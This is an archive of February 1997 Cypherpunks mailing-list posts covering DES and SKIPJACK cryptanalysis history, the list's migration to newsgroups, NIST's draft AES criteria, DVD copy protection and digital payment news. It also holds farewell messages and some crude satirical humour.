>analysis and the like), just a short explaination of the attack.

Cryptanalysis of DES is a 25-year ongoing academic exercise, with
lots and lots of results.  It's easy to attack it in 2**55 tries,
because of symmetry, but that's a very large number :-)
Differential cryptanalysis, discovered by Biham and Shamir, 
shows that the NSA probably did help the design process when
working with IBM to turn IBM's 128-bit-key Lucifer system into DES,
and certainly didn't weaken it.  Linear cryptanalysis, discovered
more recently, shaves some more bits off the strength if you have
an extremely large amount of known plaintext.  

Brute-force attacks on DES (just try lots of keys until you win) 
used to be viewed as almost infeasible, but about 5-6 years ago there 
were a couple of designs for cracking machines that could do a 1-day crack
for $30-50M, and then Wiener's design for a $1M, 3.5-hour cracking machine
about 5 years ago.  Gate arrays have gotten denser, faster, and cheaper 
since then, and if you want to crack a _lot_ of keys (e.g. you're the NSA)
you can probably afford to burn ASICs to get even denser and faster.
The slow part of the attack _had_ been key scheduling, but recent work
by Peter Trei and others shows that you can do key scheduling very
efficiently for the brute-force keysearch problem by picking keys
in Gray Code order (since a one-bit change in key causes a simple
change in key-schedule - it's totally useless for normal encryption/
decryption, but it's a big win for brute-force cracks.)  
There may be a distributed Internet crack using that approach, 
though DES is still very inefficient on general-purpose computers and 
works better on bit-twiddliing chips.

SKIPJACK is a totally different game - the NSA keeps the algorithm secret,
and the only semi-outsiders who've seen it were a group of 5 people
including Dorothy Denning and Dave Maher who were allowed to do a study
when the NSA were trying to foist Clipper onto us.  They concluded that
SKIPJACK was reasonably strong (in their interim report), which gave
them good propaganda points, and never did the "final report" that
was supposed to address the entire Clipper chip (where most of the
technical weaknesses were) and the key-handling charade around it.
I don't remember if Matt Blaze's spoofing attack on the Clipper chip
came before or after their interim report - the checksums were too short
so you could impersonate another chip under reasonably wide conditions.
According to the data sheets for the Mykotronx Clipper Chip, SKIPJACK
is a Feistel-structured cypher with N rounds (I think it was 16 or 32.)
80 bits is enough that if anybody can discover the algorithm, 
it's too long to brute force today but starts looking pretty vulnerable
in 10-20 years, and of course the Feds would have your keys today,
so they can wiretap you, without needing legal authorization,
and you can probably bribe a Fed faster than you can brute-force the chip.

#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#     (If this is a mailing list, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ichudov@algebra.com (Igor Chudov @ home)
Date: Wed, 19 Feb 1997 06:21:15 -0800 (PST)
To: Patrick.Mullen@GSC.GTE.Com (Mullen Patrick)
Subject: Re: alt.cypherpunks.*, cypherpunks@*.*
In-Reply-To: <c=US%a=_%p=GTE%l=NDHM06-970219140250Z-7332@ndhm06.ndhm.gtegsc.com>
Message-ID: <199702191417.IAA30635@manifold.algebra.com>
MIME-Version: 1.0
Content-Type: text


Mullen, Patrick wrote:
> alt.cypherpunks.ebonics :-) Sorry, couldn't resist!
> 
> Did I miss any?  Name-mangle?

alt.cypherpunks.purebred-sovoks

> I also have listed the following alternate list hosts
> 
> cypherpunks@algebra.com
> cypherpunks@cyberpass.net
> cypherpunks@ssz.com
> 
> If anyone has a more complete list of hosts, I'd be happy
> for additions to the list.

Dave Hayes was going to create one:

Dave Hayes wrote:
Dave> To: freedom-knights@jetcafe.org, cypherpunks@toad.com
Dave> Subject: Re: Moderation experiment almost over; "put up or shut up" 
Dave> Date: Fri, 14 Feb 1997 12:29:41 -0800
Dave> Sender: owner-cypherpunks@toad.com
Dave> Precedence: bulk
Dave> 
Dave> Ok. I'll "put up". 
Dave> 
Dave> If the cypherpunks will have me, -I'll- run the cypherpunks
Dave> list. Those that know me know that I will *not* censor, moderate, or
Dave> otherwise alter the content (other than the stuff majordomo does with
Dave> "resend") of any messages to the list.

and then wrote:

Dave> To: freedom-knights@jetcafe.org
Dave> Cc: dthorn@gte.net (Dale Thorn), ichudov@algebra.com, cypherpunks@toad.com
Dave> Subject: Re: Moderation experiment almost over; "put up or shut up" 
Dave> Date: Sun, 16 Feb 1997 13:13:40 -0800
Dave> 
Dave> Kent Crispin writes:
Dave> > Dave is offering a single mailing list, which, while I am sure Dave is
Dave> > a great person, still represents a single point of control and a
Dave> > single point of failure.  A distributed mailing list has a potential
Dave> > for being much more robust, and for supporting a wide range of
Dave> > viewpoints.  
Dave> 
Dave> I can also offer my participation in the distributed mailing list, if
Dave> that is what it takes to get cypherpunks free of control interests again.

I am not sure if it already exists...

	- Igor.




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: tcmay@got.net (Tim May)
Date: Wed, 19 Feb 1997 08:37:48 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: alt.cypherpunks.*, cypherpunks@*.*
Message-ID: <199702191630.IAA13988@you.got.net>
MIME-Version: 1.0
Content-Type: text/plain


(A copy of this message has also been posted to the following newsgroups:
alt.cypherpunks)


At 9:02 AM -0500 2/19/97, Mullen, Patrick wrote:
>I just got my news admin to add alt.cypherpunks.  Unfortunately, I can't
>remember the names of the subgroups (which weren't added), and I
>deleted the mailings which listed them.  
>
>If I remember correctly, they were along the lines of
>
>alt.cypherpunks.technical
>alt.cypherpunks.social
>alt.cypherpunks.announce
>alt.cypherpunks.ebonics :-) Sorry, couldn't resist!

Patrick reminds us of why a simple name like "alt.cypherpunks" is
preferable to an extensive hierarchy: "I can't remember the names of the
subgroups."

It was a mistake, I believe, to create the various subgroups, and I hope
they fail to propagate.

I'd rather use more capable newsreading tools to scan _one_ group and
follow interesting threads in it than try to remember what got posted
where. And I especially don't want to see the predictable carping about how
some topic "belongs" in one of the other groups!

And many will simply cross-post their stuff to more than one of the groups,
trying to guess which are most relevant, which are being read by enough
people, etc.

Even at a hundred messages a day, a single group is easily managed. And
having four of them will not cut the traffic in the main group
significantly.

--Tim May, who plans to only post to the main group.

-- 
Boycott "Big Brother Inside" software!
We got computers, we're tapping phone lines, we know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,  
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets, 
Licensed Ontologist         | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mullen, Patrick" <Patrick.Mullen@GSC.GTE.Com>
Date: Wed, 19 Feb 1997 06:03:51 -0800 (PST)
To: "'Cypherpunks'" <cypherpunks@toad.com>
Subject: alt.cypherpunks.*, cypherpunks@*.*
Message-ID: <c=US%a=_%p=GTE%l=NDHM06-970219140250Z-7332@ndhm06.ndhm.gtegsc.com>
MIME-Version: 1.0
Content-Type: text/plain


I just got my news admin to add alt.cypherpunks.  Unfortunately, I can't
remember the names of the subgroups (which weren't added), and I
deleted the mailings which listed them.  

If I remember correctly, they were along the lines of

alt.cypherpunks.technical
alt.cypherpunks.social
alt.cypherpunks.announce
alt.cypherpunks.ebonics :-) Sorry, couldn't resist!

Did I miss any?  Name-mangle?

I also have listed the following alternate list hosts

cypherpunks@algebra.com
cypherpunks@cyberpass.net
cypherpunks@ssz.com

If anyone has a more complete list of hosts, I'd be happy
for additions to the list.

Thanks!



~ Patrick





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Z.B." <zachb@netcom.com>
Date: Wed, 19 Feb 1997 09:18:32 -0800 (PST)
To: Cypherpunks List <cypherpunks@toad.com>
Subject: news article:fake email on Capitol Hill (fwd)
Message-ID: <Pine.3.89.9702190955.A25135-0100000@netcom>
MIME-Version: 1.0
Content-Type: text/plain




---------- Forwarded message ----------
Date: Wed, 19 Feb 1997 06:36:28 -0600
From: Gekko <gekko@midusa.net>
To: dc-stuff@dis.org
Subject: news article:fake email on Capitol Hill

Spoofing Congress

  Fake e-mail floods Capitol Hill

  NO, THESE weren't lobbyists pummeling members
  of Congress with propaganda, but apparently
  pranksters under the guise of legitimate Net users. In
  recent weeks, they have flooded lawmakers with
  hundreds of e-mail threats to delete all files in the
  Capitol Hill computer system. One of the identities
  used was that of Mercury News Computing Editor
  Dan Gillmor in the ruse that included 200 messages to Sen. Barbara
  Boxer, D-Calif. The FBI is looking into the incidents of "spoofing,"
  but apparently no damage has yet been found.

                   Story by Rory J. O'Connor
            of the Mercury News Washington Bureau





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Date: Wed, 19 Feb 1997 06:56:46 -0800 (PST)
To: cypherpunks-unedited@toad.com
Subject: Re: Why Digital Video Disks are late to market
In-Reply-To: <v02140b02af30656eb77f@[10.0.2.15]>
Message-ID: <0n2lDx200YUf047JA0@andrew.cmu.edu>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

azur@netcom.com (Steve Schear) writes:
> Has anyone seen discussions on how these protection mechanisms can be
> circumvented?

Ummm, sector copy? AFAIK, the reader/writer manfacturer is trusted to
cripple any copies it makes. Of course, it's all software, so if some
EVIL person were to write a driver that did not honor the "don't copy
me" header, society would just come crashing down around us.

Jer

"standing on top of the world/ never knew how you never could/ never knew
 why you never could live/ innocent life that everyone did" -Wormhole

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQB1AwUBMwsT98kz/YzIV3P5AQFzRgMA1FLUxHHCv509ucqHbysLFQZCGplZbfXj
Z3J9FAicOwmMp/6G1kCATc7193ZxbgpHfhNQ7Z+SIEPaxusL5MjkrWuCvoB9Kh4s
JTyspKmgBVJ+/RnIro+QeRHqFH8atowh
=7SI9
-----END PGP SIGNATURE-----




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: jbugden@smtplink.alis.ca
Date: Wed, 19 Feb 1997 07:15:00 -0800 (PST)
To: John Gilmore <gnu@toad.com>
Subject: Belated thank you's
Message-ID: <9701198563.AA856376072@smtplink.alis.ca>
MIME-Version: 1.0
Content-Type: text/plain



It seems somewhat trite to say thank you for the service John provided now that
it is going away, when while it was here it was taken for granted. Still, I will
say thank you. Perhaps in this respect it is like good health, which while it is
ours is not given much though, but once lost, becomes the whole of our thoughts.


The loss of John's involvement is a real loss. At the same time, I would like to
think that virtual communities such as this one are robust enough to survive the
type of strife that we have undergone. People being what they are, the list
would have had a hard time staying static without some strong guiding focus.
Given the anarchic leanings of many people on this list, John's actions have
done much to test the practicality of the principles that have been spoken about
here. They may also show how much work it is to follow these same principles.

Still, I wonder how John will feel about the cypherpunks list as it moves beyond
him. Will it grow and become widespread? Or, will it slowly die from lack of
interest or time? I think he might not like either answer.

A la prochain fois,
James

The advancement and perfection of mathematics are intimately connected with the
prosperity of the State. - Napoleon I





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Mullen, Patrick" <Patrick.Mullen@GSC.GTE.Com>
Date: Wed, 19 Feb 1997 07:48:10 -0800 (PST)
To: "'Cypherpunks'" <cryptography@c2.net>
Subject: FW: Rules for The Great DES Replacement Contest
Message-ID: <c=US%a=_%p=GTE%l=NDHM06-970219154727Z-8296@ndhm06.ndhm.gtegsc.com>
MIME-Version: 1.0
Content-Type: text/plain


>---------- Forwarded message ----------
>Date: Wed, 19 Feb 1997 09:24:38 -0500 (EST)
>From: Christof Paar <christof@ece.WPI.EDU>
>To: christof@ece.WPI.EDU
>Subject: (fwd) Rules for The Great DES Replacement Contest
>Newsgroups: sci.crypt
>
>
>Rules for The Great DES Replacement Contest
>
>On 1997 Jan 02, the National Institute of Standards and Technology
>of The Department of Commerce announced the start of a process to
>approve an "Advanced Encryption Standard."  (See the Federal
>Register Vol. 62, No. 1, pp. 93-94; for example, by going to
>
>    http://www.lib.auburn.edu/gpo/index.html
>
>and searching the Federal Register for "Advanced Encryption
>Standard.")
>
>
>The first part of the process seems to be requesting comments
>on the cipher requirements and submission guidelines as follows:
>
>"Proposed Draft Minimum Acceptability Requirements and Evaluation
>Criteria
>
>    "The draft minimum acceptability requirements and evaluation
>criteria are:
>    A.1  AES shall be publicly defined.
>    A.2  AES shall be a symmetric block cipher.
>    A.3  AES shall be designed so that the key length may be increased
>as needed.
>    A.4  AES shall be implementable in both hardware and software.
>    A.5  AES shall either be (a) freely available or (b) available
>under terms consistent with the American National Standards Institute
>(ANSI) patent policy.
>    A.6  Algorithms which meet the above requirements will be judged
>based on the following factors:
>    (a) Security (i.e., the effort required to cryptanalyze),
>    (b) Computational efficiency,
>    (c) Memory requirements,
>    (d) Hardware and software suitability,
>    (e) Simplicity,
>    (f) Flexibility, and
>    (g) Licensing requirements."
>
>
>"Proposed Draft Submission Requirements"
>
>    "In order to provide for an orderly, fair, and timely evaluation of
>candidate algorithm proposals, submission requirements will specify the
>procedures and supporting documentation necessary to submit a candidate
>algorithm.
>
>    B.1  A complete written specification of the algorithm including
>all necessary mathematical equations, tables, and parameters needed to
>implement the algorithm.
>    B.2  Software implementation and source code, in ANSI C code, which
>will compile on a personal computer. This code will be used to compare
>software performance and memory requirements with respect to other
>algorithms.
>    B.3  Statement of estimated computational efficiency in hardware
>and software.
>    B.4  Encryption example mapping a specified plaintext value into
>ciphertext.
>    B.5  Statement of licensing requirements and patents which may be
>infringed by implementations of this algorithm.
>    B.6  An analysis of the algorithm with respect to known attacks.
>    B.7  Statement of advantages and limitations of the submitted
>algorithm."
>
>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Juriaan Massenza <juriaan_massenza@ctp.com>
Date: Wed, 19 Feb 1997 02:14:17 -0800 (PST)
To: "'Bill Clinton'" <president@whitehouse.gov>
Subject: RE: We're in Anguilla! Comon down!!!
Message-ID: <c=GB%a=_%p=CTP%l=TRABANT-970219101423Z-5578@trabant.nl.ctp.com>
MIME-Version: 1.0
Content-Type: text/plain


ROFL. Rock on Bill! ;-)

>-----Original Message-----
>From:	Bill Clinton [SMTP:president@whitehouse.gov]
>Sent:	Sunday, February 16, 1997 4:57 PM
>To:	Those cypher-rebels
>Subject:	We're in Anguilla! Comon down!!!
>
>My fellow cypherpunks,
>
>	I wanted to let you all know, we are having a great time, building
>a router to the 21st Century, down here in sunny Anguilla.   Al and I will
>be wiring Anguilla's great high school for the internet.  Afterwards, we'll
>meet with some longtime supporters of the democratic party for a beer.
>
>	Spaces at the conference are still available, I didn't let those
>folks at American strike, so you have no excuses to be anywhere else next
>week.  
>
>Willy
>Citizen Unit 429-92-9947
> 
>




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: azur@netcom.com (Steve Schear)
Date: Wed, 19 Feb 1997 11:53:44 -0800 (PST)
To: cypherpunks@toad.com
Subject: Netcom carriage of alt.cypherpunk newsgroups
Message-ID: <v02140b01af310b5b6beb@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain


I received the following reply to my inquiry:
---------

Dear Mr. Schear:

Thank you for your request.  The addition of newsgroups is handled by
our System Administrators, and we have forwarded your message over to
their department.  If we are able to add this group it should be
available within two weeks of receipt.  If we are unable to add the
group for any reason we will also inform you of this within two weeks.

If you have any other questions or concerns, please do not hesitate to
contact us again.

- Leigh Ann

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---------------------------------------------------------------------






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Bert-Jaap Koops" <E.J.Koops@kub.nl>
Date: Wed, 19 Feb 1997 03:40:25 -0800 (PST)
To: cryptography@c2.net
Subject: Crypto Law Survey updated
Message-ID: <161EB252495@frw3.kub.nl>
MIME-Version: 1.0
Content-Type: text/plain


I have just updated my survey of existing and envisaged cryptography
laws and regulations. 
See the Crypto Law Survey at
http://cwis.kub.nl/~frw/people/koops/lawsurvy.htm

This update includes:
- New lay-out. Digital signatures replaced to a separate overview.
- New entries on Finland (export), Hong Kong (import, export), New
Zealand (export), Poland (import) 
-Update on Australia (government encryption of classified data), Finland 
(no key-escrow), France (TTP law published), Japan (general position, 
wiretap law), Netherlands (extend decryption command), OECD (Group 
of Expert okays guidelines), Scandinavia (secure email system), 
Switzerland (telecom encryption, export), US (Karn appeal, 
annual figures report)
-Corrections or clarifications on Australia (export, public domain software), 
Belgium (export), Germany (export), US (Bernstein, NRC report)
-URLs changed in France (TTP law), US (Bernstein)

Bert-Jaap




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 19 Feb 1997 10:14:30 -0800 (PST)
To: cypherpunks@toad.com
Subject: OECD on Dirty Money
Message-ID: <1.5.4.32.19970219180809.006f8dd0@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain


Last week's FT-reported OECD money laundering paper,
"FATF-VIII Money Laundering Typologies Exercise
Public Report," 5 February 1997 is at:

   http://jya.com/fatf8.htm  (Text 94K; 4 images 78K)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: landon_dyer@wayfarer.com (Landon Dyer)
Date: Wed, 19 Feb 1997 13:52:48 -0800 (PST)
To: Jeremiah A Blatz <jer+@andrew.cmu.edu>
Subject: Re: Why Digital Video Disks are late to market
Message-ID: <3.0.32.19970219135359.00b90170@mail.wayfarer.com>
MIME-Version: 1.0
Content-Type: text/plain


At 09:53 AM 2/19/97 -0500, you wrote:
>-----BEGIN PGP SIGNED MESSAGE-----
>
>azur@netcom.com (Steve Schear) writes:
>> Has anyone seen discussions on how these protection mechanisms can be
>> circumvented?
>
>Ummm, sector copy? AFAIK, the reader/writer manfacturer is trusted to
>cripple any copies it makes. Of course, it's all software, so if some
>EVIL person were to write a driver that did not honor the "don't copy
>me" header ...

  i can confirm this.  i recently talked to an employee of a firm [who
i won't name] that was looking for some kind of shrouding scheme to protect
their copy-protection enforcement code, under W95.  [he knows the effort
is ultimately doomed.  he *is* a user of SoftICE, after all... :-) ]

  quotable quotes:

  "we know someone's going to have their scheme cracked.  all we care
   about is that ours isn't the first."

  "i can't tell you the [encryption] algorithm, because that would let
   you break it.  yes, the security is in the algorithm."


  where does hollywood get its crypto?  mattel?


-landon [back to lurk mode...]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Thomas M. McGhan" <tmcghan@mail.bcpl.lib.md.us>
Date: Wed, 19 Feb 1997 11:26:53 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Belated thank you's
Message-ID: <199702191926.OAA20773@mail.bcpl.lib.md.us>
MIME-Version: 1.0
Content-Type: text/plain


in a message apparently-from:  jbugden@smtplink.alis.ca
these words appeared:

>The loss of John's involvement is a real loss.
{snip}

I would expect that "John's involvement" will not be lost just because the
primary mass storage for the data comprising these messages is not on a
disk drive in toad hall.  

>...how John will feel about the cypherpunks list as it moves beyond him.
{snip}

Unless the openness of this list, which was such a cause celebre, is compromised, I do not 
envision any mechanisms being put in place to exclude his contributions, if he 
chooses to make any.

I also expect that the outcome of the in-progress election for ISOC board of 
trustees may have a certain effect on his time-and-energy resource allocation 
algorithm for the next few years.

=======

tmcghan@mail.bcpl.lib.md.us
http://www.gill-simpson.com
voice:       (410) 467-3335
fax:         (410) 235-6961
pagenet:     (410) 716-1342
cellular:    (410) 241-9113
ICBM:        39.395N 76.469W








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Wed, 19 Feb 1997 15:51:43 -0800 (PST)
To: Robert Hettinga <cypherpunks@toad.com
Subject: Re: "cypherpunks is dead..."
In-Reply-To: <v03020943af30f75cb2d7@[139.167.130.247]>
Message-ID: <v0300780caf3130183f0f@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 3:37 PM -0500 2/19/97, Robert Hettinga wrote:

>We also have to thank Tim May for his um, ideological, presence on this
>list from since before it existed, :-), and, or course, for his current
>"leadership", both moral and political. (Of course, I can say all the next
>few wierd and gushy things about him without fear of refutation on his
>part, 'cause, in his wisdom, I'm still in his killfile ;-)) It was Tim who

No, Bob, I actually took you out of my filter file (Eudora's killfile) a
while back.

It is true that I don't like your style, your writing style, that is. Some
say I am overly sensitive to style issues...probably so. I find most modern
cyber-journalism unreadable, with the hipper-than-thou "street cred" lingo
and the obfuscatory purple prose.

I find reading the straight-shooting words of even my ideological opponents
(or opponents in some areas) far easier than reading the neo-journalistic
hype some of my ideological fellow-travellers use.

Nothing personal.

>was our compass. It was Tim who came down from the mountain and stopped us
>from worshiping the fatted calf of censorship, and who is now leading us
>into the promised land of unfettered discourse, both on usenet and on the
>new cypherpunk server network. Since Tim paper-trained most of us here
>(myself included, though some may debate how well he succeeded :-)), that
>is, how to behave on this list, and, most important, how to imagine what a
>world of strong crytography on ubiquitous networks would look like, I now
>find his "leading" us out onto the net, and away from Sinai, most
>symmetrical indeed. :-).

Well, I guess I have to say "Indeed." (Though I don't claim to be leading
anyone, especially not off the list. After several weeks of saying nothing,
I outlined my reasons for disliking the censorship move...reasons that had
also been made by many other folks. Anyway, Adam Back's summary of events
is pretty close to the mark.)

The vision of where the world is headed, noted by Bob, has been clear to
many of us for many years. When I first read about public key systems,
circa 1977, I got an inkling. When I read Chaum's paper on untraceable
digital cash, circa 1986, things got clearer. And when I evaluated the
business plan of Phil Salin for his company, American Information Exchange,
in 1987, everything fell into place. My role with him was to suggest how
cryptographic protocols, including digital cash, would open up information
markets. His company eventually got some funding, but failed. This company
was several years too early, as it presaged many aspects of the Web (and,
not coincidentally, its "sister company" was Xanadu, which even more
clearly presaged the Web--indeed, Ted Nelson was the godfather of the Web.

Anyway, by mid-1988, I wrote and distributed "the Crypto Anarchist
Manifesto," which, to my surprise and satisfaction, basically anticipated
all of the things now being done on Cypherpunks and elsewhere (anonymous
remailers, message pools, steganography, BlackNet types of markets,
ubiquitous crypto, etc.). The missing piece, digital cash, is a hard nut to
crack...sure, it exists (Mark Twain Bank, DigiCash, etc.), but it's hard to
get robust versions deployed and used. (Getting PGP integrated into mailers
is stil bogged down, for reasons I have to believe have to do with
pressures from somewhere, else why would e-mail packages not make PGP
support painless?)

I agree with Bob and others that the Cypherpunks are in no danger of dying
out. Things are just about to get a lot more interesting.

--Tim May





Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 19 Feb 1997 12:41:29 -0800 (PST)
To: cypherpunks@toad.com
Subject: "cypherpunks is dead..."
Message-ID: <v03020943af30f75cb2d7@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain



"...long live cypherpunks?"

"So long, and thanks for all the fish?"


But, seriously, folks...

Lucky Green echoed many of my own thoughts when he talked about all the
things being on this list has meant to him. Like Lucky, there is a
rediculously huge list of things that this list has taught me over the
almost three (wow..) years or so that I've been here.

Thanks to all of you here, I have had nothing short of a Copernican
transformation in my perception of the universe, and it completely changed
what I wanted to do with the rest of my life. From the very first time I
started reading this list and applying what I learned here to what I
already knew, right then, for the first time in a *very* long time, I knew
*exactly* how some very important pieces of the world actually worked, and
more important, why they were going to change.  I now *know* where the
world is going to go. Maybe not when, of course, but certainly where and
how. :-) (Old stock picker's joke: "I can tell you what. I can tell you
when. I can't tell you both. If I did, I wouldn't tell *you*.")


Anyway, I've learned all these things from many cypherpunks, some still
here, and a lot who've left. I expect that, as we move into the next phase
of this "group", we'll continue to teach ourselves much more about the
world and strong cryptography's effect on it. But, nothing will compare to
the feeling we'll get when we remember the time we've spent here at Toad
Hall. We have John Gilmore to thank for the "lodgings", of course, and,
certainly, for his encouragement and support.  And, obviously, his
tolerance, which finally sagged and broke under the weight of both his
expectations and those of our own.

We also have to thank Tim May for his um, ideological, presence on this
list from since before it existed, :-), and, or course, for his current
"leadership", both moral and political. (Of course, I can say all the next
few wierd and gushy things about him without fear of refutation on his
part, 'cause, in his wisdom, I'm still in his killfile ;-)) It was Tim who
was our compass. It was Tim who came down from the mountain and stopped us
from worshiping the fatted calf of censorship, and who is now leading us
into the promised land of unfettered discourse, both on usenet and on the
new cypherpunk server network. Since Tim paper-trained most of us here
(myself included, though some may debate how well he succeeded :-)), that
is, how to behave on this list, and, most important, how to imagine what a
world of strong crytography on ubiquitous networks would look like, I now
find his "leading" us out onto the net, and away from Sinai, most
symmetrical indeed. :-).


And so, in this last 24 hours or so on toad.com, I want to thank *both* Tim
and John. But, also, I personally want to thank the "money-punks". People
like Eric Hughes, and Perry Metzger, and Ian Goldberg, and Hal Finney, and
Lucky Green, and Duncan Frissell, and Black Unicorn, and many, many other
people, who have helped me work through, on this list, or in private
e-mail, or, occasionally, in person, all of the stuff they know, and the
stuff I have figured out myself. All about e$, about digital bearer
certificate markets, about microintermediation. All the things which
completely occupy almost all my waking thoughts these days.


Because of this list's effect on my life, I have been motivated to start
the Digital Commerce Society of Boston, to evangelize financial
cryptography to any audience who would listen to me, to create a web site
dedicated to e$, to create a group of e$ lists with some 300 total
subscribers, to work with Vinnie Moscaritolo to create both the Mac-Crypto
lists and conferences, to work with Vince Cate and Ray Hirschfeld to create
the world's first peer-reviewed conference on financial cryptography, and
with Vince and Ian Goldberg to create the world's first intensive financial
cryptography bootcamp (which is going on as I write this). To create, with
Vinnie, and Rachel Wilmer, and Anthony Templer, and Bob Antia, and Rodney
Thayer, the next generation of the e$ website and mailing lists.

Next week, I go to FC97 in Anguilla because of the things I've learned on
this list. In the middle of March, I go to Cupertino to help Vinnie with
Mac-Crypto 2.0, because of the things I've learned on this list. I've been
invited to speak all over the world (and New Hampshire, too :-)) to talk
about this stuff. I get quoted in the newspapers. I write magazine op-ed
pieces. It has even earned me a buck or two. :-).

In short, I owe everything I do of any consequence these days to my
participation on this list, and, for that, I'm profoundly grateful to all
of you for the privelege of being here: to listen, to learn, and,
occasionally, to pay back all the stuff I've learned with a thing or two
that I've worked out myself.


Like that creosote bush I talked about before, cypherpunks is not going to
die just because the address "cypherpunks@toad.com" ceases to exist. There
are already 3rd-order cypherpunks lists out there. 3rd generation copies of
the same "memetic" material. cypherpunks will *never* die, short of a
cybernetic Chixalub event of some kind, and, frankly, even then. The
internet sees censorship as damage and routes around it.


So. In a very real sense, today on cypherpunks is like any other day in the
life of a creosote bush. It's a big desert, folks. We're the only ones who
know how to live out here. The whole damn desert, as far as the eye can
see, is ours to move into.

All we have to do is keep filling in the empty spots...


Cheers,
Bob Hettinga



-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"Never attribute to conspiracy what can be
explained by stupidity." -- Jerry Pournelle
The e$ Home Page: http://www.shipwright.com/rah/
FC97: Anguilla, anyone? http://www.ai/fc97/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Wed, 19 Feb 1997 15:28:17 -0800 (PST)
To: cypherpunks@toad.com
Subject: "Trial"
In-Reply-To: <330B4030.36C0@turk.net>
Message-ID: <v03007800af313eb0bd66@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain


At 8:02 PM +0200 2/19/97, Shark wrote:
>Trial

OK, that makes 18 votes for "trial," 26 votes for "no trial," and 3 people
asking what the hell the vote is all about.

Looks like there won't be a trial and we can move directly to the punishment.


--Klaus! von Future Prime



--
[This Bible excerpt awaiting review under the U.S. Communications Decency
Act of 1996]
And then Lot said, "I have some mighty fine young virgin daughters. Why
don't you boys just come on in and fuck them right here in my house - I'll
just watch!"....Later, up in the mountains, the younger daughter said:
"Dad's getting old. I say we should fuck him before he's too old to fuck."
So the two daughters got him drunk and screwed him all that night. Sure
enough, Dad got them pregnant, and had an incestuous bastard son....Onan
really hated the idea of doing his brother's wife and getting her pregnant
while his brother got all the credit, so he pulled out before he
came....Remember, it's not a good idea to have sex with your sister, your
brother, your parents, your pet dog, or the farm animals, unless of course
God tells you to. [excerpts from the Old Testament, Modern Vernacular
Translation, TCM, 1996]






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Wed, 19 Feb 1997 13:02:05 -0800 (PST)
To: cypherpunks@toad.com
Subject: Mobil adopts no-physical-connection electronic payment token
Message-ID: <v03020945af3116fe2179@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain



--- begin forwarded text


Date: Wed, 19 Feb 1997 12:01:14 -0500 (EST)
To: Multiple Recipients of e$pam <e$pam@intertrader.com>
From: e$pam@intertrader.com (e$pam)
Reply-To: e$@thumper.vmeng.com
X-Comment: To unsubscribe, send any email to e$pam-off@intertrader.com
Precedence: Bulk
Subject: Mobil adopts no-physical-connection electronic payment token
X-orig-from: "Travis J.I. Corcoran" <Travis-Corcoran@deshaw.com>
X-e$pam-source: bounce-dcsb@ai.mit.edu

Forwarded by Robert Hettinga

-----------------------------------------------------------------------
Date: Wed, 19 Feb 1997 09:02:14 -0500
 From: "Travis J.I. Corcoran" <Travis-Corcoran@deshaw.com>
 To: dcsb@ai.mit.edu
 Subject: Mobil adopts no-physical-connection electronic payment token
 Sender: bounce-dcsb@ai.mit.edu
 Precedence: bulk
 Reply-To: "Travis J.I. Corcoran" <Travis-Corcoran@deshaw.com>



 FYI, from today's WSJ:

  ------------------------------ snip! ------------------------------

     Mobil Aims to Turn Gas Pumps
     Into Automatic-Payment Sites

     By PETER FRITSCH
     Staff Reporter of THE WALL STREET JOURNAL

     Mobil Corp. hopes to make life in the fast lane a little bit faster.

     The oil company will introduce Wednesday a miniature
     electronic-payment device that busy motorists can simply wave at
     a gasoline pump to fill 'er up.

